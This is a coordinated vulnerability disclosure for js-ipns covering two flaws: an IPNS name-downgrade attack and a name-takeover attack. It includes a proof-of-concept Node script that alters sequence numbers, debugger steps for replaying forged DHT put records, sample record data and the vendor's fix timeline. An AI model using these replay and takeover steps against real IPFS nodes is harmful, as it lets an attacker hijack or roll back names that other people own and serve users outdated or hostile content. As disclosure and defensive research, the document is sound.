js-ipns - Downgrading Attack and Name Takeover

Vulnerability Note

1 Summary

IPNS is the InterPlanetary Name System and allows to serve changing CID’s under a fixed address (/ipns/<pubkey>). This is accomplished by having a node sign data (target CID, lifetime, ..) with an ipns private key. Nodes can then query the peer-to-peer network to provide signed records corresponding to a public key. The signed data is validated by the library and the payload is used to resolve the target CID for the ipns entry.

IPNS records can be exchanged via js-libp2p-kad-dht by storing the IPNS record at key /ipns/<pubkey>. The record is then sent to neighbouring peers which validate and store the value in their routing cache.

It was found that in the js-ipns implementation, the validation of DHT put request and the validation of the IPNS v1 record itself is insufficient and may allow for

  • (1) ipns name downgrading attacks (due to the fact that sequence number is not part of the signed data)
  • (2) ipns name takeover attack (due to the fact that the DHT put-key is not matched against the record.pubKey) (critical)

2 Details

An ipns record is defined as follows:

message IpnsEntry {
  enum ValidityType {
		EOL = 0; // setting an EOL says "this record is valid until..."
	}

  optional bytes value = 1;
	optional bytes signature = 2;

	optional ValidityType validityType = 3;
	optional bytes validity = 4;

	optional uint64 sequence = 5;

	optional uint64 ttl = 6;

	// in order for nodes to properly validate a record upon receipt, they need the public
	// key associated with it. For old RSA keys, its easiest if we just send this as part of
	// the record itself. For newer ed25519 keys, the public key can be embedded in the
	// peerID, making this field unnecessary.
	optional bytes pubKey = 7;

	optional bytes signatureV2 = 8;

	optional bytes data = 9;
}

https://github.com/ipfs/js-ipns/blob/5ab6d90975cfbb0ee1a0e4c829eba54ae9ee7108/src/pb/ipns.proto#L8-L27

2.1 (1) Downgrade Attack

An ipns record contains a sequence field which is not signed in the v1 ipns record Signature scheme. Hence, there is no way for a peer to detect if the field has been tampered with. This allows for the following attack scenario:

  • Owner of uniswap.org publishes their latest static website to their static /ipns/<uniswap.org-CID>.
  • Attacker observes this, stores the ipns record in a database for later use.
  • Owner of uniswap.org publishes updates to their website, updating the /ipns/<uniswap.org-CID> to point to the latest release of the website.
  • Owner publishes more releases of the website, some of them addressing security issues.
  • Attacker observed all the ipns records for uniswap.org. Attacker can now downgrade /ipns/<uniswap.org-CID> to a previous (potentially vulnerable version) by taking an old ipns-record, updating the sequence (potentially to max UINT to lock updates completely) and publishing it to all peers in the network.

Why is this actually working?

The sequence number is not part of the signed ipns record and js-ipfs accepts DHT put messages from ANY peer, as long as the message validates.

  • This allows for trivial downgrading and DoS attacks where an attacker observes (or fetches) a valid name record, changes the sequence number to uint64_MAX and rebroadcasts it. Other nodes should receive the message, check the sequence number and if it is higher, update their cache with the newly forged record, which is an old one replayed with a higher sequence number. Note how the old record is now replayed as if it was an update while it is actually a name downgrade. Note that by choosing the max allowed sequence number the attacker can force that it cannot be updated anymore.

  • Note: The fact that nodes can freely choose to use v1 or v2 records opens up a lot of room for downgrading attacks where one could observe a v2 record and modify it to fit the v1 record scheme and attack design issues of the v1 schema.

The code snippet below is taken from js-ipns and shows which fields are actually taken from the record.

/**
 * Utility for creating the record data for being signed
 *
 * @param {Uint8Array} value
 * @param {number} validityType
 * @param {Uint8Array} validity
 */
const ipnsEntryDataForV1Sig = (value, validityType, validity) => {
  const validityTypeBuffer = uint8ArrayFromString(getValidityType(validityType))

  return uint8ArrayConcat([value, validity, validityTypeBuffer])
}

https://github.com/ipfs/js-ipns/blob/5ab6d90975cfbb0ee1a0e4c829eba54ae9ee7108/src/index.js#L384-L388

The selection criteria for records seems to be checking that the new sequence is greater than the one cached. Note that this does not enforce type checks (PB defines uint64 while javascript integers might actually be larger).

/**
   * @param {Uint8Array} dataA
   * @param {Uint8Array} dataB
   */
  select: (dataA, dataB) => {
    const entryA = unmarshal(dataA)
    const entryB = unmarshal(dataB)

    return entryA.sequence > entryB.sequence ? 0 : 1
  }

(see https://github.com/ipfs/js-ipns/blob/5ab6d90975cfbb0ee1a0e4c829eba54ae9ee7108/src/index.js#L470-L474)

Proof of Concept

TLDR; There is a video PoC at the end of this section.

We will instrument the latest js-ipfs code to perform the downgrade attack by setting a breakpoint at the code that stores the ipns record to the DHT, replaying an outdated ipns record with an updated sequence number. A script is provided that conveniently updates the sequence of a given ipns record.

We assume that you have obtained the target ipns record already (e.g. by calling ipns resolve, dht get <key> or just observing them). The key and entryData (record) information shown below is encoded as uint8ArrayToString(key|entryData, 'base64') and can be loaded with uint8ArrayFromString(targetKey | targetEntryData, 'base64')

targetKey = "L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk";
targetEntryData = "CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWigAOiQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk"
  1. checkout js-ipfs, build, init, and run it using IPFS_PATH=./ipfs2. Make sure it works.
  2. launch vscode and configure it to debug js-ipfs daemon. Here’s an example configuration:
{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
       

        {
            "type": "pwa-node",
            "request": "launch",
            "name": "Launch Program",
            "skipFiles": [
                "<node_internals>/**"
            ],
            "program": "${workspaceFolder}/packages/ipfs/src/cli.js",
            "args": ["daemon"],
            "env": {
                "IPFS_PATH":"${workspaceFolder}/ipfs2"
            }
        }
    ]
}
  1. set a breakpoint at node_modules/libp2p-kad-dht/src/content-fetching/index.js function async put(). More precicely on this line:
      // create record in the dht format
      const record = await utils.createPutRecord(key, value)  //@audit - BREAK HERE
  1. run a dummy ipfs publish and after a couple of seconds we should hit the breakpoint:

    IPFS_PATH=./ipfs2 ipfs name publish /ipfs/QmVKTUKt16xUTUUNMxzrdAHe1oBVtgwLRt5Vzms2oVMjhx --key=someone

  2. At the breakpoint (or ideally before breaking here :D) create a new ipns record from the targetEntryData but with an updated sequence number. For convenience, use this script to mangle the record:

The script below unpacks a base64 encoded ipns record and changes the sequence number.

const ipns = require("ipns");
const fromString = require('uint8arrays/from-string')
const toString = require('uint8arrays/to-string')

let args = process.argv.slice(2)
let entryData = args[1];
let newSeq = parseInt(args[0]);
console.log(entryData)
//uint8ArrayFromString("L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk","base64")
//let key = "L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk"
//let entryData = "CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkB8DZQJWS2IHUIldImQs56wKt1XZ/9qlsJLisRbYL1etyWbpsbv5fVCVA0PnOIu2bM9f14T0/1NbUPSN12kVxIDGAAiHjIwMjEtMDgtMTNUMTM6Mzg6MDUuNDQwMDAwMDAwWigA"

//console.log(fromString(key, "base64"))
console.log(fromString(entryData, "base64"))

let data = ipns.unmarshal(fromString(entryData, "base64"))
console.log(data)

console.log("====== changing sequence to: " + newSeq)
data.sequence = newSeq

console.log(data)

console.log(`Buffer.from(uint8ArrayFromString("${toString(ipns.marshal(data), "base64")}","base64"))`)

Here’s an example output updating the record sequence number to 250:

⇒  node ipnslala.js 250 CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWigAOiQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk

CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWigAOiQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk
Uint8Array(194) [
   10,  52,  47, 105, 112, 102, 115,  47,  81, 109, 101, 103,
  103,  87, 106,  54,  66,  69,  89,  82, 110,  90, 100,  71,
   67, 118,  97, 109, 111, 104,  72, 105, 121,  76,  84,  57,
  117,  67,  50,  55, 110,  52,  51, 105,  52, 110,  57,  97,
   90,  51, 117, 101,  66, 121,  18,  64, 111,  50,  39, 192,
  103, 243, 233, 204,  70, 190,  67,  22, 193, 185, 103, 106,
   80,  78, 148, 172, 100, 248, 202,  32, 242, 212,  36,  59,
  174, 159,  17, 167, 215,  23,  94, 245, 255, 235, 199, 247,
  113, 242,  94, 151,
  ... 94 more items
]
{
  value: Uint8Array(52) [
     47, 105, 112, 102, 115,  47,  81, 109, 101, 103,
    103,  87, 106,  54,  66,  69,  89,  82, 110,  90,
    100,  71,  67, 118,  97, 109, 111, 104,  72, 105,
    121,  76,  84,  57, 117,  67,  50,  55, 110,  52,
     51, 105,  52, 110,  57,  97,  90,  51, 117, 101,
     66, 121
  ],
  signature: Uint8Array(64) [
    111,  50,  39, 192, 103, 243, 233, 204,  70, 190,  67,
     22, 193, 185, 103, 106,  80,  78, 148, 172, 100, 248,
    202,  32, 242, 212,  36,  59, 174, 159,  17, 167, 215,
     23,  94, 245, 255, 235, 199, 247, 113, 242,  94, 151,
    153,   0,   8,  91, 247, 223, 160,  72,  48,  96,  51,
    191,  33, 160, 233,  94, 186, 214, 172,   3
  ],
  validityType: 0,
  validity: Uint8Array(30) [
    50, 48, 50, 49, 45, 48, 56, 45, 49,
    51, 84, 49, 52, 58, 52, 48, 58, 50,
    50, 46, 48, 54, 53, 48, 48, 48, 48,
    48, 48, 90
  ],
  sequence: 0n,
  pubKey: Uint8Array(36) [
      8,  1,  18,  32,  39, 143, 198, 220, 201,
    121, 93,  22, 223,  78, 104, 141,  86, 199,
    201, 79,  20,  49, 225, 164,  79, 224,   1,
     99, 21, 161, 193, 240, 127, 202,  21,   9
  ],
  ttl: undefined
}
====== changing sequence to: 250
{
  value: Uint8Array(52) [
     47, 105, 112, 102, 115,  47,  81, 109, 101, 103,
    103,  87, 106,  54,  66,  69,  89,  82, 110,  90,
    100,  71,  67, 118,  97, 109, 111, 104,  72, 105,
    121,  76,  84,  57, 117,  67,  50,  55, 110,  52,
     51, 105,  52, 110,  57,  97,  90,  51, 117, 101,
     66, 121
  ],
  signature: Uint8Array(64) [
    111,  50,  39, 192, 103, 243, 233, 204,  70, 190,  67,
     22, 193, 185, 103, 106,  80,  78, 148, 172, 100, 248,
    202,  32, 242, 212,  36,  59, 174, 159,  17, 167, 215,
     23,  94, 245, 255, 235, 199, 247, 113, 242,  94, 151,
    153,   0,   8,  91, 247, 223, 160,  72,  48,  96,  51,
    191,  33, 160, 233,  94, 186, 214, 172,   3
  ],
  validityType: 0,
  validity: Uint8Array(30) [
    50, 48, 50, 49, 45, 48, 56, 45, 49,
    51, 84, 49, 52, 58, 52, 48, 58, 50,
    50, 46, 48, 54, 53, 48, 48, 48, 48,
    48, 48, 90
  ],
  sequence: 250,
  pubKey: Uint8Array(36) [
      8,  1,  18,  32,  39, 143, 198, 220, 201,
    121, 93,  22, 223,  78, 104, 141,  86, 199,
    201, 79,  20,  49, 225, 164,  79, 224,   1,
     99, 21, 161, 193, 240, 127, 202,  21,   9
  ],
  ttl: undefined
}
Buffer.from(uint8ArrayFromString("CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWij6ATokCAESICePxtzJeV0W305ojVbHyU8UMeGkT+ABYxWhwfB/yhUJ","base64"))
  1. At the breakpoint, change the value of key and record as follows:
key=uint8ArrayFromString("L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk","base64")
record=Buffer.from(uint8ArrayFromString("CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWij6ATokCAESICePxtzJeV0W305ojVbHyU8UMeGkT+ABYxWhwfB/yhUJ","base64"))
  1. Continue execution. This will send out a DHT put request to all connected peers.

A js-ipfs peer receiving this DHT put request will run it through the libp2p handlers. There is one registered handling /ipns/ prefixed DHT keys which will start validating the DHT message.

The /ipns/ put handler (node_modules/libp2p-kad-dht/src/rpc/handlers/put-value.js) continues validating the record until it may be finally accepted.

Since the sequence is not part of the signed data our manipulated record (old record, new sequence number, sent from unrelated peer) passes validation and is stored in the nodes cache.

We have sucessfully downgraded an ipns name to an old ipns name.

Video Demonstration

Link: https://streamable.com/ecbqxw

  • left side of the screen: attacker ipfs node (with breakpoint at DHT put)
  • right side of the screen: victim ipfs node (or any other jsipfs peer)
  1. victim node is already running
  2. attacker start node in debug mode (with breakpoint at DHT put as described earlier)
  3. attacker wait for startup
  4. victim make sure victim is connected to attacker (swarm connect <attacker>)
  5. attacker trigger an ipns publish and wait for execution to halt at our breakpoint (there’ll be a couple of breakpoints in the video but only the one at createPutRecord is relevant)
  6. attacker in debug mode: override keyand value to the sequence number mangled version of the old record we’re going to replay (output of the mangle script).
  7. attacker continue execution, sending the DHT PUT msg to all peers.
  8. victim receives DHT PUT from attacker (dblchecking the pubkey ending in 9 is the one we’re interested in)
  9. victim continue until we’re in the ipns record validation. checking our sequence shows sequence: 250 dblchecking that this is indeed the record attacker sent. Note we chose sequence 250 in the mangle script.
  10. victim record is shown as valid
  11. victim ipns DHT cache is overwritten with the downgraded record.

2.2 (2) IPNS name takeover

Looking deeper into how ipns records are validated it was found that:

  • ipnsV1 record sequence numbers are not signed (see previous issue)
  • ipnsV1 records may contain the signing pubkey as a field of the record. In this case, the pubkey is taken from the record and not cross-checked with the pubkey from the DHT key or the peer submitting it.

This is how the validation roughly works:

  1. DHT put handler is invoked.
  2. node_modules/libp2p-kad-dht/src/rpc/index.js::handleMessage() checks if there is a handler for this messageType (PUT).
  3. node_modules/libp2p-kad-dht/src/rpc/handlers/put-value.js::putValue() is called to validate the PUT message. if dht._verifyRecordLocally(record) succeeds it will store (and overwrite) the record at recordKey (DHT key).
  /**
   * Process `PutValue` DHT messages.
   *
   * @param {PeerId} peerId
   * @param {Message} msg
   */
  async function putValue (peerId, msg) {
    const key = msg.key
    log('key: %b', key)

    const record = msg.record

    if (!record) {
      const errMsg = `Empty record from: ${peerId.toB58String()}`

      log.error(errMsg)
      throw errcode(new Error(errMsg), 'ERR_EMPTY_RECORD')
    }

    await dht._verifyRecordLocally(record)

    record.timeReceived = new Date()
    const recordKey = utils.bufferToKey(record.key)
    await dht.datastore.put(recordKey, record.serialize())

    dht.onPut(record, peerId)

    return msg
  1. this then calls the libp2p validator for that record. It basically checks if there is an ipns handler to validate the /ipns/<pubkey> prefixed DHT key. This should be the case by default so
  /**
   * Verify a record without searching the DHT.
   *
   * @param {import('libp2p-record').Record} record
   */
  async _verifyRecordLocally (record) {
    this._log('verifyRecordLocally')

    await libp2pRecord.validator.verifyRecord(this.validators, record)
  }
  1. this then calls the validator for /ipns/ prefixed DHT keys. The registered validator is node_modules/ipns/src/index.js::validator:validate()
  validate: async (marshalledData, key) => {
    const receivedEntry = unmarshal(marshalledData)
    const bufferId = key.slice(IPNS_PREFIX.length)
    const peerId = PeerId.createFromBytes(bufferId)

    // extract public key
    const pubKey = extractPublicKey(peerId, receivedEntry)

    // Record validation
    await validate(pubKey, receivedEntry)
  },
  /**

So, this will first get the peerID from the DHT key and then call extractPublicKey. This method will return either the embedded publicKey from the ipns record (preference!) or the pubKey from the peerId.

The record is then only validated against the extracted pubkey. Note, that we can always ensure this is valid but it does not necessarily mean that the pubKey extracted matches the peerId.pubKey recovered from the DHT key we store to!!

This means, we can provide ANY DHT key (target ipns pubkey to overwrite) even if it does not match the embedded pubkey!

  1. The validation passes, the code jumps back to the code-snippet from (3) (see below; after dht._verifyRecordLocally(record)) which takes the DHT key (again, this did not even match the pubkey from the signed ipns record) and stores the new malicious ipns record overwriting whatever was stored at the target ipns record.
// ... snip ...
    await dht._verifyRecordLocally(record)

    record.timeReceived = new Date()
    const recordKey = utils.bufferToKey(record.key)
    await dht.datastore.put(recordKey, record.serialize())

    dht.onPut(record, peerId)

Again, any signed record, as long as the pubkey is embedded and the signature verifies, can be used to overwrite any other ipns key in the DHT. This basically allows to take over all ipns names.

Video Demonstration

Link: https://streamable.com/xr9tz2

  • left side of the screen: attacker ipfs node (with breakpoint at DHT put)
  • right side of the screen: victim ipfs node (or any other jsipfs peer)

Same scenario, but this time we show that we can write any signed ipns record (with embedded pubkey) to any DHT key thus overwriting ipns records.

  1. attacker trigger an ipns publish and wait for execution to halt at our breakpoint (there’ll be a couple of breakpoints in the video but only the one at createPutRecord is relevant)
  2. attacker in debug mode: override key with any other /ipns/<pubkey> ipns record key or - in our case for demonstration purposes, we set the last pubkey bytes to zero.
  3. attacker continue execution, sending the DHT PUT msg to all peers.
  4. victim receives DHT PUT from attacker (dblchecking the pubkey ending in 00000 is the one we’re interested in)
  5. victim validation passes and the record that is signed with a totally different pubkey is stored in the cache at the key we define.

3 Vendor Response

Vendor response:

  • (1) will be addressed by dropping support for v1 signed payloads.
  • (2) missing validation addressed in js-ipns#134 released as v0.14.0 (DHT-key matches embedded pubkey)

3.1 Timeline

AUG/12/2021 - initial vendor contact
SEP/08/2021 - released fixes for #2 ([email protected]); #1 is addressed by phasing out v1 signature support.